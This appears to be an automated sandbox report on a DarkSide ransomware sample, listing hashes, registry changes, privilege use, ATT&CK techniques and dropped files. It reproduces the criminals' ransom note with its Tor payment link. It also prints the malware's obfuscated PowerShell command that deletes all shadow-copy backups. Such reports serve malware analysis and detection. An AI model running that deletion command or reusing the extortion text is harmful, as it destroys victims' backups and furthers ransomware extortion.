darkside | 6183d9296b128c378e32228916ec2d34fc1cee19b84bcdcf6ff8dcb2e6492a42

General

Target

00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Size

259KB
MD5

00ca7e42b298d5e2a06050b527abef40
SHA1

b343760bff3f0c6adbd9b5b39e65894be6d550a5
SHA256

6183d9296b128c378e32228916ec2d34fc1cee19b84bcdcf6ff8dcb2e6492a42
SHA512

6e24df07d15b1dbe3da753aa6730685729490285d83397e7f140c592a45d1ecdb33c7cbd15c48bd3c4f803cff55c655f86d7523187a770a434f85f795dcba4c6
SSDEEP

6144:j9Iuq5yqBxgxIlrfImRCW2cqv7pLR1N1e9ORXrP4QP:j9Ir5yOxiIlrfspjqwRLT

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.e26f79ad.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/ZPHGS4V186LJE9D41BZPQYMAVTRO61FS5DFITXN3164U5B607T7W51NEY0WV7CT1 When you open our website, put the following data in the input form: Key: jKdQRGN9mNfPP8E6f3cjkmyokpCOSXS2DnnFGEKzzUjydeJi0Y5Jwuo50cdYDeB721Qp70mHSyWcbZxtet9CL8rddRLMXV1VCor8siYPCido4knletpYGAywiyiJ6eVCeAfy21AqvcHudVyb3M7DgwYdaA7B5P3fwZkx4VmRMKn9pKP0Eethj7HsMgIC2Y3HlLGdOQT9s7bLhnLqaUrDpQ2DewShszE6NmgsWEGPQNGP7u1BOGw27hyNaH9gZV97RtPQ4PGkNdUAXopYgWbLcU5S4o4q4FdBglJsBaAtRYqE6q9lBVJhU44PdWQn7sLxr2FArxbtmaMEEfCqWstqY1naLzqnIDz7EDpPlXVbZcwGRXA9Hx42hIYVG434ppADhJV5GIyxm0boe3Sr0etwsdGvV0grUSfDez0HdBW3PpY3e7r2xiCZGEJOsNxZ7v2l5BMHZFNjyafb7BJ22v3mvvpJd3uVJPeItuGlC5sNYy0zvY9zWdMQVqD3i2l2pvi2fEKJ0ettXVghy5bjcKrGusT9FouoT7scmknYh7tVnb8zccnPxZSEt39 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/ZPHGS4V186LJE9D41BZPQYMAVTRO61FS5DFITXN3164U5B607T7W51NEY0WV7CT1

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (146) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\e26f79ad.BMP"	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\e26f79ad.BMP"	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Control Panel\Desktop\WallpaperStyle = "10"	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.e26f79ad	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.e26f79ad\ = "e26f79ad"	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e26f79ad\DefaultIcon	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e26f79ad	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\e26f79ad\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\e26f79ad.ico"	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1564	powershell.exe
2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeSecurityPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeTakeOwnershipPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeLoadDriverPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeSystemProfilePrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeSystemtimePrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeProfSingleProcessPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeIncBasePriorityPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeCreatePagefilePrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeBackupPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeRestorePrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeShutdownPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeDebugPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeSystemEnvironmentPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeRemoteShutdownPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeUndockPrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeManageVolumePrivilege	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: 33	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: 34	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: 35	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeBackupPrivilege	2100	vssvc.exe
Token: SeRestorePrivilege	2100	vssvc.exe
Token: SeAuditPrivilege	2100	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 1564	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe	29
PID 2220 wrote to memory of 1564	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe	29
PID 2220 wrote to memory of 1564	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe	29
PID 2220 wrote to memory of 1564	2220	00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ce50d2693482797ffeb732739f98eaa6

SHA1
3dcd8c05f84725956426b202c1be170f0c3b4d71

SHA256
4d9b4aad8a4acdcd890cbfa7ba14f839ebd116846c4198445a1b79b6a1d94cd9

SHA512
dd3f57aad3f6d2a55bd89add7d9df7eac4f4787879525181195e67e1885fb19a658e3e2a15c2a5839d5ec8e1982a3cc6a6f51955814b862b52ed28b41f96f48e

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C:\Users\Admin\AppData\Local\Temp\TarF92.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8897d3252490b592b7c784a74c0b34f3

SHA1
8169e18bb714cb2a1e4b59a2d6f35a665d806ee0

SHA256
97c9fe63d1e640cf6d796d5ee1ca0953b7c267a5367d309fb2dbbd68ef00eb99

SHA512
07a25972678595cdf5589d463a883ebc5761b8fccd8715e26352b7197f5e671128db4cc1d09f9b5e0657c161bd25088699665e7cfb13a50f39b446b98f4e8ec9

Download Submit
C:\Users\Admin\README.e26f79ad.TXT

Filesize
1KB

MD5
2b8c971078b833a80c3967684055ddc3

SHA1
e657e2ca052d0701270e3e3194e8016711da2bc6

SHA256
b6552686237ecece9ecbc303880abaadde34da6a31f3086b9d0782198f657ee8

SHA512
0f1cb2a9b3c30e106bbac81968206add8f4f00db90877c3447202ee483855e2c8b0c68bdde136604e1a8ab217a15bef11cd096ff8bf87f65e0d805df2b95f670

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memory/1564-58-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

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memory/1564-56-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

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memory/1564-57-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

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memory/1564-52-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

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memory/1564-55-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

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memory/1564-53-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

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memory/1564-51-0x000007FEF539E000-0x000007FEF539F000-memory.dmp

Filesize
4KB

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memory/1564-54-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

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memory/2220-5-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-4-0x0000000000401000-0x0000000000409000-memory.dmp

Filesize
32KB

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memory/2220-7-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-6-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

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memory/2220-8-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-0-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-3-0x0000000000250000-0x000000000028B000-memory.dmp

Filesize
236KB

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memory/2220-2-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-244-0x0000000000250000-0x000000000028B000-memory.dmp

Filesize
236KB

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memory/2220-245-0x0000000000401000-0x0000000000409000-memory.dmp

Filesize
32KB

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memory/2220-243-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-246-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-1-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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memory/2220-290-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

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